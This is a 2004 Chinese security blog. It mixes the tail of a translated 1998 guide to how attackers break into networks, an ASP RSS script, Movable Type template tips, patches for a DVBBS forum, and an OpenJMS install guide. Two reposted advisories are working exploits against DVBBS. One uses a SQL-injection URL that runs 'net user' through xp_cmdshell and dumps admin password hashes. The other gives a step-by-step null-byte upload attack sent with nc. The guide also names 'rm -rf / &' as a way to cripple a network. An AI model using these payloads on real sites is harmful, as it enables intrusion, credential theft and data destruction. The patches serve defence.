    追踪利用电话网络跳跃技巧连入internet的攻击者是极端困难的,因为他
    们可能来自世界上任何角落。如果攻击者能成功使用“800号”拨号跳跃,
    他简直可以从世界上任何地方拨入而不用担心长途电话费用。

    -----------------------------------------------------------
    3.2 网络查探和信息收集
    -----------------------------------------------------------

    在从internet上攻击任何网络前,一个熟练的攻击者会对企业在internet
    上的主机预先进行侦察。在攻击者试图获取内网和外网主机资料时,会采
    用以下办法:
    - 用nslookup进行“ls <子网或域>” 查询请求
    - 查看WEB主机上的HTML源码来搜寻其他主机名或IP地址
    - 查看FTP服务器上的有关文档
    - 连接邮件服务器,作“expn ”查询请求
    - 在外部主机上使用Finger服务来查找用户

    攻击者一般会实现搜集网络自身的结构信息,然后才试图找出可能存在的
    特定弱点。

    在上述查询所得的结果的基础上,攻击者们很容易就可以获取企业内网中
    一批主机名和地址列表,并可开始了解他们之间的关系。

    当进行这些预扫描时,一些典型的攻击者也可能会犯下一些小错误,即在
    连接到被攻击的主机的某些端口来获取操作系统版本或其他资料时,使用
    了自己真实的IP地址。

    所以当您发觉自己的主机被攻击时,一个好方法是:通过检查您的FTP
    和HTTPD记录,找出那些不适当的请求。

    -----------------------------------------------------------
    3.3 确定被信任网络结点
    -----------------------------------------------------------


    攻击者会选择被信任的网络结点作为攻击对象,被信任的结点通常会是管
    理者的机器,或者被认为安全的服务器。

    攻击者最初会查找您机器上运行的nfsd或mountd所输出的NFS信息,
    因为您的机器上的一些关键目录(比如 /usr/bin, /etc和/home等)可能
    可以被mount在那些被信任的机器上。

    finger守护服务通常会被滥用作确定被信任的主机或用户的工具,因为一
    般来说特定的用户总是从特定的主机上登录。

    然后攻击者会尝试找出其他类型的信任关系,比如当一个攻击者能够成功
    利用CGI的漏洞对主机进行攻击时,他就可以访问到主机的
    /etc/hosts.allow文件。

    当详细分析以上获得的数据后,攻击者就可以确定选择被攻击主机间的信
    任关系,下一步就是找出那些被信任的主机可能存在的漏洞,为后续的远
    程攻击准备。

    -----------------------------------------------------------
    3.4 确定有弱点网络部件
    -----------------------------------------------------------


    当攻击者们建立了对企业网络结构的认识后,他就会使用一些linux的程
    序,如AMDhack, mscan, nmap和其他一些小扫描程序,对特定主机进行
    适合远程攻击的弱点扫描。

    通常,这些扫描都是在那些具有快速光纤连接的机器上进行。AMDhack
    在linux上运行时需要root的权限,所以一个攻击者通常会使用那些已经
    被他攻入并安装了“rootkit”的机器来进行扫描。这些“rootkit”可以
    利用一些关键系统程序的后门或漏洞对系统进行未授权且不被发觉的访
    问。

    那些启动扫描程序的主机的管理员通常根本不知道自己的机器正在对别
    人的企业网进行扫描,因为看似正常的“ps”或“netstat”等进程其实
    正是掩盖扫描进程的木马。

    其他程序,比如mscan不需要root权限,所以能从任何linux(或其他操
    作平台,当使用nmap时)机器上有效地扫描远程机器的弱点,虽然通常
    这些扫描会比较慢,而且一般不会隐藏得很好(因为不像AMDhack,攻
    击者不需要获得root的权限)。

    AMDhack和mscan都会对远程主机进行下列几种扫描:
    - 主机的TCP端口扫描
    - portmapper提供的正在运行的RPC服务
    - nfsd提供的外输目录表
    - samba或netbios提供的共享目录表
    - 多次finger来确定默认帐户存在
    - CGI程序漏洞扫描
    - 找寻主机运行的操作系统版本的系统守护程序的漏洞,包括sendmail,
    IMAP,POP3,RPC status和RPC mountd。

    现在攻击者们很少会使用SATAN,因为它太慢,而且只查找一些过期的
    漏洞。

    当对企业外网主机进行扫描后,攻击者可清楚的了解哪台主机安全,哪台
    主机有漏洞。

    当企业使用的路由器,且路由器能够使用SNMP时,一些攻击高手会利
    用攻击性SNMP扫描,并对路由器进行字符串“暴力攻击”来获取设备
    的公共和私有名。

    -----------------------------------------------------------
    3.5 利用网络部件的"弱项"
    -----------------------------------------------------------

    攻击者能够找出外网主机间的任何信任关系,也能够找出外网主机的“弱
    项”。如果他确实找到了某一网络节点的漏洞,他就会尝试控制您的主机。

    一个耐心的攻击者不会在正常上班时间攻击您的机器,他通常会在晚上9
    点到第二天早上6点间进行攻击,这样会减少被发现的机会,也给攻击者
    充裕的时间在主机安装后门、嗅侦器或木马而不用担心被系统管理员当场
    识破。

    大多数攻击者周末都很有空,所以一般攻击也是在那时发生。

    攻击者会尝试控制一部被信任的外部主机,作为对企业内部网络攻击的跳
    板。视乎企业在外网和内网主机间安装的网络过滤器的效果,这种攻击方
    法可能有效,也可能无效。

    当攻击者控制了一台外部的邮件服务器,从而获得了企业内部各个网段的
    访问权后,他就能开始把自己深深地嵌在你的网络中。

    为了控制网络的枢纽部件,攻击者们会利用一些程序从远程对企业外部主
    机的系统守护程序的弱点和漏洞进行扫描,比如一些具有漏洞的
    sendmail,IMAP,POP3版本,以及有缺陷的RPC服务如statd,mountd
    和pcnfsd。

    大多数远程攻击是从已经被攻击者控制的机器上发动的,在某些情况下攻
    击程序需要在被与被攻击主机相同的系统平下重新编译。

    当在远程执行对您外网主机系统守护程序攻击的程序时,攻击者通常会尝
    试获得系统主机的root权限,从而用其访问到企业的内部网络。

    -----------------------------------------------------------
    3.6 控制有漏洞的网络结点
    -----------------------------------------------------------

    当成功控制系统守护程序后,攻击者们会“打扫战场”,修改主机访问日
    志,在系统服务程序安装后门,从而使自己能够在日后进入而不被发觉。

    首先他会安装后门,使自己能够在日后访问。攻击者们用的后门程序大多
    已预编译,攻击者可以使用一些技巧改变安装了后门的程序的日期和访问
    权限设置,有时甚至加了后门的文件的长度也可以改到与原文件一样。如
    果攻击者对FTP日志文件有忧虑,他可以使用“rcp”程序来将后门程序
    放到主机上。

    当然这些攻击者不会修复企业网络的安全漏洞,他一般只会在关键的系统
    文件上安装后门或木马程序,比如“ps”、“netstat”等,以隐藏自己
    在主机上的活动。


    在Solaris 2.x系统,攻击者通常会在下面一些关键的文件安装后门。
    /usr/bin/login
    /usr/sbin/ping
    /usr/sbin/in.telnetd
    /usr/sbin/in.rshd
    /usr/sbin/in.rlogind

    据说有些攻击者会在 /usr/bin目录下放上.rhosts文件,以允许远程的程序
    可以通过rsh或csh的交互环境来启动。

    攻击者们下一步一般会检查系统的日志系统,看看自己的连接和攻击过程
    是否被记录,然后他会将所有自己访问系统的记录从机器种删除。如果某
    台机器很有可能成为攻击的目标,则建议把日志直接输出行式打印机,因
    为攻击者几乎不可能将自己的访问记录从打印的日志中删除。

    当确认自己的连接没有被任何日志系统记录后,攻击者就会开始对企业网
    络进行攻击。如果攻击者取得了企业内网的访问权,一般来说他们就不会
    再去攻击其他的外网主机。

    -----------------------------------------------------------
    4.1 下载敏感信息
    -----------------------------------------------------------

    如果攻击者的目标是从企业内网的WEB服务器或FTP服务器上下载敏感
    信息,他可以通过将外网的机器配置成连接内网和企业内网的“网桥”来
    达到目的。

    然而,如果攻击者的目标是企业内某台机器内的敏感信息,他可能会利用
    已经控制了的外网机器,尝试通过机器间的信任关系来获得那台机器的访
    问权。

    -----------------------------------------------------------
    4.2 攻击其他被信任的网络
    -----------------------------------------------------------

    许多攻击者只是重复3.2,3.3,3.4和3.5节中的步骤来查探内网资料,
    获取内网访问权。视乎攻击者想要达到的目的,他或许会在内网安装后门
    或木马。

    如果攻击者想要完全获得内部网络主机的访问权,他可能利用3.6节介绍
    的方法安装木马或后门并将自己的访问记录删除。攻击者也会在主机上安
    装嗅侦器,在4.3节中会对此详细介绍。

    如果攻击者只是想从特定的服务器上下载数据的话,他可能会采取其他方
    法来获得内部主机的访问权,比如找出那台服务器所信任的主机,然后试
    图控制那台主机。

    -----------------------------------------------------------
    4.3 安装嗅侦器
    -----------------------------------------------------------

    攻击者们一个十分快速和有效地获得大量内部网络主机的用户名机器密
    码的方法是使用“以太网嗅侦器”(ethernet sniffer)程序。但由于这些嗅侦
    器只有当攻击者和被攻击者在同一个以太网段内才有效,所以在充当网桥
    的外网主机上运行嗅侦器不会有用。

    要“嗅侦”内网中的数据流,攻击者必须取得一台内网主机的root权限,
    而且这台主机必须与其他主机在同一个网段上。在攻击时可采用3.2,
    3.3,3.4,3.5和3.6节中介绍的方法,因为攻击者必须成功在主机上取
    得控制权并安装后门软件,以保证嗅侦程序能正确安装和运行。

    只有当取得控制权,安装了后门,并在“ps”和“netstat”上安装木马
    后,攻击者才能在主机上安装“以太网嗅侦器”。在Solaris 2.x中,这些
    嗅侦程序通常会被安装在/usr/bin或/dev目录下,然后修改程序的属性以
    使它看起来象其他安装的系统程序一样。


    大多数“以太网嗅侦器”是在背景运行,将结果的输出到本地机器的日志
    文件中。值得一提的是,攻击者通常会修改“ps”,使嗅侦的进程不被
    发觉。

    “以太网嗅侦器”程序将网络接口卡设置成为“无选择”模式,使之侦听
    用户名,密码和其他有用的数据,并将其存入嗅侦器的日志文件。攻击者
    可用这些侦听到的数据来获得到其他主机的访问权。

    因为“以太网嗅侦器”是安装在以太网上,所以它可以侦听到所有在同一
    网段中的数据流,而不仅仅是从宿主主机发出或发往该主机的数据。

    攻击者通常会在一个星期后返回,下载嗅侦程序建立的日志文件。在这种
    情况下,企业内网的某个分支里潜伏的嗅侦程序会设置得很完善,除非企
    业实施了很好的网络安全措施,否则这种嗅侦器很难被发觉。

    对于关心网络安全的系统管理员,有一个很好的工具叫作Tripwire,可以
    从COAST中得到(见5.2节)。Tripwire在您的文件系统中制作一个
    MD5的“指纹”,并能监控恶意用户或攻击者对您的文件系统进行的任
    何修改。

    要查找“无选择”模式的网卡(通常意味着被安装嗅侦器),CERT提
    供的“cpm”工具十分有效。可以到http://www.cert.org/ftp/tools/cpm/查
    找更多的信息。

    -----------------------------------------------------------
    4.4 使网络瘫痪
    -----------------------------------------------------------

    一些服务器运行着十分重要的应用程序,比如数据库、网络操作系统和其
    他执行“关键任务”的程序。一旦攻击者获得了这些服务器的控制权,就
    可以很轻易地将网络瘫痪很长一段时间。

    一个攻击者不常用,但是十分残忍的摧毁网络的方法,是在运行关键服务
    的主机上运行“rm -rf / &”命令(译注:删除机器上所有文件)。视乎
    系统的网络备份措施是否完善,这种攻击可以使网络瘫痪几个钟头到几个
    月。

    如果攻击者的目的是为了进入内部网络,它可能会利用现有路由器存在的
    安全漏洞,比如在Cisco,Bay和Ascend等品牌的路由器中的漏洞。在
    某些情况下,攻击者可以从远方重启路由器,甚至完全关掉路由器直至系
    统管理员重新启动。这样对网络的机能会造成极大程度的破坏,因为当攻
    击者针对一系列执行关键网络功能的路由器(比如用来构建企业骨干网的
    路由器)的漏洞进行攻击时,他可以很轻易地将网络功能瘫痪相当一段时
    间。
    间。

    所以,对于执行“关键任务”的路由器和服务器应该经常进行升级,并且
    采取一切措施确保其安全。

    -----------------------------------------------------------
    5.1 参考阅读
    -----------------------------------------------------------

    有许多好的文章可以帮助您维护您的内网、外网、主机、服务器等的安全。
    我们推荐您访问以下站点,如果希望对大型网络和主机的安全有更深入的
    了解,阅读以下书籍:


    http://www.antionline.com/archives/documents/advanced/
    http://www.rootshell.com/beta/documentation.html
    http://seclab.cs.ucdavis.edu/papers.html
    http://rhino9.ml.org/textware/


    'Practical Unix & Internet Security'
    ------------------------------------


    如果您以前没有读过Unix和internet安全方面的书籍,这本书是一个好
    的开始。


    Simson Garfinkel and Gene Spafford
    O'Reilly & Associates, Inc.
    ISBN 1-56592-148-8

    US $39.95 CAN $56.95 (UK around 30 pounds)


    -----------------------------------------------------------
    5.2 推荐工具和程序
    -----------------------------------------------------------

    已经有许多免费的系统安全程序可以运行在主流的操作系统上,比如:
    Solaris, IRIX, Linux, AIX, HP-UX 和 Windows NT, 要获取这些免费工具
    软件和程序的更多资料,我们推荐您访问以下站点:

    ftp://coast.cs.purdue.edu/pub/tools/unix/
    http://www.alw.nih.gov/Security/prog-full.html
    http://rhino9.ml.org/software/

    网络安全方案公司(Network Security Solutions Ltd.)现在也正在开发一
    种基于Unix和Windows平台的网络安全工具,预计在未来几个月后将推
    出。在此期间请访问 http://www.ns2.co.uk , 并看看我们其他“精”版的
    免费软件!

    ------------------------------------------------------------------------------

    Copyright (c) Network Security Solutions Ltd. 1998
    All rights reserved, all trademarks acknowledged


    http://www.ns2.co.uk


    This document may be distributed in the public domain
    as long as the above copyright notices remain intact.

    ------------------------------------------------------------------------------

    Posted by vitter at 2004-12-04 14:51:33 | 评论 (0)

    November 21, 2004

    打造自己的RSS

    今天用asp写了自己网站的RSS,本以为写个rrs很容易,结果不是那么回事,下面把我的rss的代码贴出来供大家修改使用:

    <%
    Response.ContentType="text/xml"
    dim db,dbpath,conn
    db="./db/asdfsdfe.asp"
    Set conn = Server.CreateObject("ADODB.Connection")
    dbpath="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")
    conn.Open dbpath
    %><?xml version="1.0" encoding="GB2312"?>
    <rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:admin="http://webns.net/mvcb/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
    <channel>
    <title>VITTERSAFE|危特网安文章 [最近更新]</title> 
    <link>http://www.vfocus.net/</link> 
    <description>VITTERSAFE|危特网安</description> 
    <image>
    <title>VITTERSAFE|危特网安</title> 
    <url>http://www.vfocus.net/nocgi/images/logo.gif</url> 
    <link>http://www.vfocus.net/</link> 
    <description>VITTERSAFE|危特网安 Vfocus.net</description> 
    </image>
    <%
    SQL="select top 10 * from news order by id desc"
    set rs=conn.execute(SQL)
    if rs.Eof or rs.Bof then
    response.write "<item></item>"
    end if
    while not rs.Eof 
    a=rs("title")
    b=rs("author")
    c=rs("times")
    d=replace(replace(left(rs("content"),200),"<","&lt;"),">","&gt;")
    response.Write "<item>"
    response.write "<item></item>" 
    response.write "<item>"
    response.write "<title>"&a&"</title>" 
    response.write "<link>http://www.vfocus.net/file/list.asp?id="&rs("article")&"</link>" 
    response.write "<description>"&d&"</description>"
    response.write "<dc:creator>"&b&"</dc:creator>" 
    response.write "<dc:date>"&c&"</dc:date>"
    response.write "</item>"
    rs.MoveNext 
    wend 
    set rs=nothing
    conn.Close
    set conn = nothing
    %>
    </channel></rss>

    还有一些其它可选标签,大家可根据需要增减,具体RSS请在网上搜RSS规范查看

    Posted by vitter at 2004-11-21 20:52:37 | 评论 (0)

    November 18, 2004

    本blog系统MT2.661的一点补充

    1. 给自己的RSS Feed加上logo:在rdf模板里面添加下面粗体部分的代码:
    <description><$MTBlogDescription remove_html="1" encode_xml="1"$></description>
    <image><url>YOUR LOGO URL</url> <link>YOUR BLOG URL</link> </image>
    <dc:language>en-us</dc:language>

    2. 显示分类:在Main Index的适当位置(评论后面)加上如下代码,即可显示每篇日志所属分类。

    <a href="<$MTEntryLink archive_type="Category"$>">分类:<$MTEntryCategory$></a>

    3. 最新评论:在Main Index的适当位置加上如下代码(最近更新)。

    <div class="sidetitle">
    最新评论
    </div>

    <div class="side">
    <MTComments lastn="10" sort_order="descend"> 
    <MTCommentEntry> 
    ◎ 评论:<a href="<$MTEntryLink$>" 
    target="_blank"><$MTEntryTitle$></a> |
    </MTCommentEntry>
    (<$MTCommentAuthorLink show_email="0"$>)<br /> 
    </MTComments>
    </div>

    Posted by vitter at 2004-11-18 20:44:42 | 评论 (2)

    bbs漏洞修补(2)

    顺便把tongji.asp也补丁了:
    对n进行判断
    找到 sub tongji()
    n=request("n")
    删除n=request("n")行

    % end sub
    sub topuser()
    下加上
    dim Sql_injection_n
    Sql_injection_n = replace(request("N"), " ", "")
    if isnumeric(Sql_injection_n)=0 then
    Response.Write("非法ID")
    Response.End
    end if

    sql="select top "&request("n")&" username,
    改成
    sql="select top "&Sql_injection_n&" username,
    原理附在后面:

    动网论坛(DVBBS)存在严重漏洞

    文章来源:灰色轨迹
    文章提交:PsKey (PsKey_at_hotmail.com)

    PsKey
    www.isgrey.com

    >>>Dedicated This Scrap To CaoJing<<<

    涉及版本:
    ^^^^^^^^^^
    DVBBS VER 6.0.0 &DVBBS VER 6.0.0 SP1&DVBBS VER 6.0.0 SP2
    //低版本没看,反正低版本的问题成堆,也不少这一个-)

    描述:
    ^^^^^^
    DVBBS是一款由WWW.ASPSKY.NET开发和维护的源代码开放的Asp论坛;由于其tongji.asp文件没有过滤用户提交传递给SQL查询的输入,导致远程攻击者可以利用这个漏洞进行SQL注入攻击,进而威胁论坛或服务器安全。

    具体:
    ^^^^^^
    DVBBS经analysist加固后,消除了大批安全隐患,并引入了很多的安全措施,如果大家对编写安全的Asp代码有兴趣,DVBBS将是一个很好的参考!虽然Asp语法简单,出现问题的情况也就那么几种。小型Asp程序中,程序员只要稍微有点安全意识就可以避免出现漏洞;但在较大规模的纷杂的程序中,难免出现遗漏,而只要有一个缺陷存在,系统安全就得不到保障。说了这么多废话,我们转入正题,问题其实很简单,看代码:
    ---------------------------------------------------------
    6 if request("orders")=1 then
    7 call tongji()
    8 elseif request("orders")=2 then
    9 call topuser()
    ...
    60 sub topuser()
    61 set rs=server.createobject("adodb.recordset")
    62 sql="select top "&request("n")&" username,useremail,userclass,oicq,homepage,article,addDate from [user] order by article desc"
    ---------------------------------------------------------
    很明显吧?(你怎么就没发现呢~呵呵),变量 n 没有经任何检查就直接放到SQL查询中了。

    攻击方法:
    ^^^^^^^^^^
    1:MSSQL
    如果是MSSQL版的,还客气什么,直接提交如下URL:
    http://www.target.com/asp/dvbbssql/tongji.asp?orders=2&N=2%20password%20from%20admin;%20exec%20master..xp_cmdshell%20'net%20user%20love%20hack%20/add'%20--
    顺利的话,对方系统便会添加love/hack用户,顺便还可以看到论坛管理员的经MD5加密后的密码字符串(FT,系统用户都添加了,论坛管理员算什么?),由于本文不是sql injection教学,就此打住。

    2:ACCESS
    如果是ACCESS版的,哈哈,很多朋友紧张起来了,看看tongji.asp下面的代码:

    ---------------------------------------------------------
    66 response.write "document.write('<FONT color=#b70000>□</FONT><span style=""font-size:9pt;line-height: 15pt""><a href=http://www.pydz.com/sunwinbbs/dispuser.asp?name="& rs(0) &" target=_blank title=查看"&rs(0)&"的个人资料>');"
    67 response.write "document.write('"&rs(0)&"</a>');"
    68 response.write "document.write('</span><br>');"
    ---------------------------------------------------------

    看见有趣的东西了没有?没错,就是 rs(0) ,如果我们指定 “n=50 userpassword,”(n的值随便选择,看你想偷看多少用户的密码啦),嘿嘿,现在rs(0) 就不是 username 而是 userpassword了,例如:

    http://www.target.com/asp/dvbbs/tongji.asp?orders=2&N=2
    返回:
    ---------------------------------------------------------
    document.write('□');document.write('admin');document.write('
    ');document.write('□');document.write('ss');document.write('
    ');
    ---------------------------------------------------------

    http://www.target.com/asp/dvbbs/tongji.asp?orders=2&N=2%20userpassword,
    返回:
    ---------------------------------------------------------
    document.write('□');document.write('18e071ccfb2d1c99');document.write('
    ');document.write('□');document.write('acd5fdfea300e88a');document.write('
    ');
    ---------------------------------------------------------
    哦,原来admin的密码是18e071ccfb2d1c99,但是经过MD5加密的,别急,用同样的办法你可以把admin的userid、回答问题....全部搞到手。

    得到这些能干什么?(准备暴力破解可以略过不看)
    曾经看到一篇奇文《得到论坛数据库后如何快速夺取管理员密码<对动网>》,内容大致是:自己安装一个动网论坛,把得到的加过密的16位密码复制下来,贴到你刚才注册的ID的密码处,用找回密码功能就可以了,只要提示问题答案填写正确,密码就发到你的信箱了。
    基本上是鬼扯,但作者视MD5如草芥的魄力不得不令小弟佩服。

    在老版本的动网中,得到这些信息后可以直接修改用户密码,但在6.0中消除了这一隐患,试看 modifypsw.asp相关代码:

    ---------------------------------------------------------
    elseif md5(trim(request("oldpsw")))<>trim(rs("userpassword")) then
    errmsg=errmsg+"<br>"+"<li>输入的旧密码错误,请重新输入。"
    founderr=true
    exit sub
    ---------------------------------------------------------


    哈哈,不行了吧!

    看看管理员操作论坛时到底需要些什么,举个例子,删帖的时候:

    ---------------------------------------------------------
    POST /asp/dvbbs/admin_postings.asp?action=delet HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*
    Referer: http://www.target.com/asp/dvbbs/admin_postings.asp?action=删除主题&BoardID=2&ID=2
    Accept-Language: zh-cn
    Content-Type: application/x-www-form-urlencoded
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)
    Host: www.target.com
    Content-Length: 124
    Connection: Keep-Alive
    Cache-Control: no-cache
    Cookie: aspsky=userhidden=2&password=18e071ccfb2d1c99&userid=1&userclass=%B9%DC%C0%ED%D4%B1&username=admin&usercookies=0; iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDAASCSCDC=IPKLMGFAKFJLMOLNMMEMFDGC; upNum=0

    title=%B9%E0%CB%AE&content=&doWealth=-7&douserCP=-5&douserEP=-5&id=2&replyid=&boardid=2&msg=&submit=%C8%B7%C8%CF%B2%D9%D7%F7
    ---------------------------------------------------------

    明白了吧,这里头该有的我们都可以得到,大家要是有时间就帮论坛管理员删删那些垃圾帖吧:)

    还可以做什么?动动脑子,你可以做到更多。

    后记:心情太不美丽了,臭屁了这么久您可不要厌烦。Have a nice day!

    Posted by vitter at 2004-11-18 15:29:13 | 评论 (1)

    修补bbs漏洞(1)

    bbs前几天被注入了,郁闷ing,upfile.asp的漏洞早就知道,当时我还自己利用漏洞写了个asp文件上去,后来就忘了,当被注入的时候,突然想起来,查看日志果真是利用这个漏洞哦。我想因为不可能是文章或下载系统的问题,因为我才都改了的。
    问题的原因就是uplife.asp文件的filepath 变量的问题,解决办法就是把他换成常量,或者对\0进行处理。下面付上这个漏洞的相关详细文档。

    上传漏洞终结篇

    作者:szjwwwww    
    出自:黑鹰基地论坛
    未经许可不得转载
    http://www.3800cc.com

    一、写在前面
    ***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本***
    NC(Netcat)
    用于提交
    数据包
    DOS界面下运行:
    NC -vv www.***.com 80<1.txt
    -vv: 回显
    80: www端口
    1.txt: 就是你要发送的数据包
    (更多使用方法请查看本区的帖子)
    WSE(WSockExpert)
    对本机端口的监视,抓取IE提交的数据包
    (不会用的就自己到网上搜资料N多)

    二、漏洞原理
    下面例子假设的前提
    www主机: www.***.com;
    bbs路径 : /bbs/
    漏洞源于对动网上传文件的研究,建议有一定编程经验的看看Dvbbs的upfile.asp文件,没有必要全部看懂upfile是通过生成一个form表上传,如下


    用到的变量: filepath 默认值uploadface 属性hiden act 默认值upload 属性hiden file1 就是你要传的那个文件 关键是 filepath 这个变量! 默认情况下我们的文件上传到www.***.com/bbs/uploadface/文件是用你的上传时间命名的,就是upfile里的这一句FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt ------------------------------------------------------------------------- 我们知道计算机里面的数据是一"\0"为标致的用过C语言的都知道char data[]="bbs"这个data数组长度是4: b b s \0如果我们构造filepath如下,会怎么样呢?filepath="/newmm.asp\0"我们在2004.09.24.08.24传的文件就会发生变化没有改时:http://www.***.com/bbs/uploadface/200409240824.jpg用我们构造的filepath时:http://www.***.com/newmm.asp\0/200409240824.jpg这样当服务器接filepath数据时,检测到newmm.asp后面的\0就理解为filepath的数据就结束了这样我们上传的文件,比如c:\1.asp就保存成: http://www.***.com/newmm.asp

    三、后期补充
    漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行有很多网站只是加了N个hiden属性的变量对付网上公布的upfile.exe就是那个上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具

    自己改WSE抓到的包里的filepath变量,然后在用NC提交。。。就算他加N个hiden变量也于事无补。当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结就是我们的新理论诞生的时候!

    四、漏洞列表
    http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369
    http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530
    http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531
    http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693
    http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731
    http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746

    监听外部主机
    NC [-options] hostname port[s] [ports] ...
    监听本地主机
    NC -l -p port [options] [hostname] [port]
    options:
    -d detach from console, stealth mode
    -e prog inbound program to exec [dangerous!!]
    -g gateway source-routing hop point[s], up to 8
    -G num source-routing pointer: 4, 8, 12, ...
    -h this cruft
    -i secs delay interval for lines sent, ports scanned
    -l listen mode, for inbound connects
    -L listen harder, re-listen on socket close
    -n numeric-only IP addresses, no DNS
    -o file hex dump of traffic
    -p port local port number
    -r randomize local and remote ports
    -s addr local source address
    -t answer TELNET negotiation
    -u UDP mode
    -v verbose [use twice to be more verbose]
    -w secs timeout for connects and final net reads
    -z zero-I/O mode [used for scanning]port numbers can be individual or ranges: m-n [inclusive]

    详细实例:
    ---------------------------------------------------------------------------------
    一、WSE抓包结果(存到1.txt里):

    POST /bbs/upPhoto/upfile.asp HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
    Referer: http://www.xin126.com/bbs/upPhoto/upload.asp
    Accept-Language: zh-cn
    Content-Type: multipart/form-data; boundary=---------------------------7d423a138d0278
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
    Host: www.xin126.com
    Content-Length: 1969
    Connection: Keep-Alive
    Cache-Control: no-cache
    Cookie: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF;isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37;username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0;loginTry=1; userPass=eb03f6c72908fd84

    -----------------------------7d423a138d0278
    Content-Disposition: form-data; name="filepath"
    ../medias/myPhoto/
    -----------------------------7d423a138d0278... ...

    上传
    -----------------------------7d423a138d0278-----------------------------------------------------------------------------------
    二、UltraEdit打开1.txt改数据:
    ......
    -----------------------------7d423a138d0278
    Content-Disposition: form-data; name="filepath"
    /newmm.asp█ <===这个黑色代表一个空格是 0x20,改成0x00就可以了
    ......

    三、重新计算cookies长度,然后nc提交

    Nc -vv www.xin126.com 80 <1.txt

    UltraEdit是一个16位编辑器网上可以下载得到我们主要用来写那个结束标致: \0 ====>16位表示:0x00或者00H其实你改的时候就直接再filepath的结尾处加个00就OK了

    计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了......
    Host: www.xin126.com
    Content-Length: 1969 <======就是这个
    Connection: Keep-Alive
    Cache-Control: no-cache
    ......
    计算会吧?一个字母、数字就是1
    对于上传漏洞提出的解决思路:(仅供参考)

    1、一般的上传是把上传路径作为一个变量来处理===>我们的对策就是把filepath变成常量。。。这个方法是目前最有效的(我认为的)
    2、加强对于\0的处理,原来我们是读到这里就结束我们继续读直道下一个变量开始的地方,处理就OK了

    Posted by vitter at 2004-11-18 15:22:01 | 评论 (0)

    November 12, 2004

    openjms安装配置

    下载:
    [root@standby local]# wget http://unc.dl.sourceforge.net/sourceforge/openjms/openjms-0.7.6.1.tar.gz
    安装:
    [root@standby local]# tar zxvf openjms-0.7.6.1.tar.gz
    [root@standby local]# cd openjms-0.7.6.1
    [root@standby openjms-0.7.6.1]# export JAVA_HOME=/usr/java/j2sdk1.4.2
    修改build.sh加上JAVA_HOME=/usr/local/java
    [root@standby openjms-0.7.6.1]# ./build.sh all

    下载mm.mysql-2.0.4-bin.jar(for mysql)
    [root@standby lib]# wget http://mmmysql.sourceforge.net/dist/mm.mysql-2.0.4-bin.jar

    修改openjms.sh
    [root@standby openjms-0.7.6.1]# vi bin/openjms.sh
    设置环境变量,加入以下内容:
    export OPENJMS_HOME=/usr/local/openjms-0.7.6.1
    export JAVA_HOME=/usr/java/j2sdk1.4.2

    修改setenv.sh
    [root@standby openjms-0.7.6.1]# vi bin/setenv.sh

    CLASSPATH=./lib/mm.mysql-2.0.4-bin.jar

    部署:
    [root@standby openjms-0.7.6.1]# vi config/rmi_jms.xml

    <?xml version="1.0"?>
    <!-- OpenJMS configuration:
    . RMI connectors
    . JDBM persistency
    . embedded JNDI provider
    . embedded RMI registry, running on port 1099
    . single host
    . preconfigured destinations
    NOTES: this configuration shows all configuration elements relevant
    when using an RMI connector.
    -->
    <Configuration>
    <!-- Optional. This represents the default configuration -->
    <ServerConfiguration host="211.147.5.146" embeddedJNDI="true" />
    <!-- Required when using an RMI connector -->
    <Connectors>
    <Connector scheme="rmi">
    <ConnectionFactories>
    <QueueConnectionFactory name="JmsQueueConnectionFactory" />
    <TopicConnectionFactory name="JmsTopicConnectionFactory" />
    </ConnectionFactories>
    </Connector>
    </Connectors>

    <!-- Required -->
    <DatabaseConfiguration garbageCollectionInterval="3600"
    garbageCollectionBlockSize="5000"
    garbageCollectionThreadPriority="5">
    <RdbmsDatabaseConfiguration
    driver="org.gjt.mm.mysql.Driver"
    url="jdbc:mysql://127.0.0.1/openjms"
    user="root"
    password="" />
    </DatabaseConfiguration>
    <!-- Required -->
    <AdminConfiguration
    script="${openjms.home}\bin\startjms.bat"
    config="${openjms.home}\config\rmi_jms.xml" />
    <!-- Optional. This represents the default configuration -->
    <!-- <GarbageCollectionConfiguration memoryCheckInterval="60"
    lowWaterThreshold="20"
    garbageCollectionInterval="120"
    garbageCollectionThreadPriority="5">
    </GarbageCollectionConfiguration>
    -->
    <!-- Optional. This represents the default configuration -->
    <LoggerConfiguration file="${openjms.home}/config/log4j.xml" />

    <!-- Optional. If not specified, no destinations will be created -->
    <AdministeredDestinations>
    <AdministeredTopic name="topic1">
    <Subscriber name="sub1" />
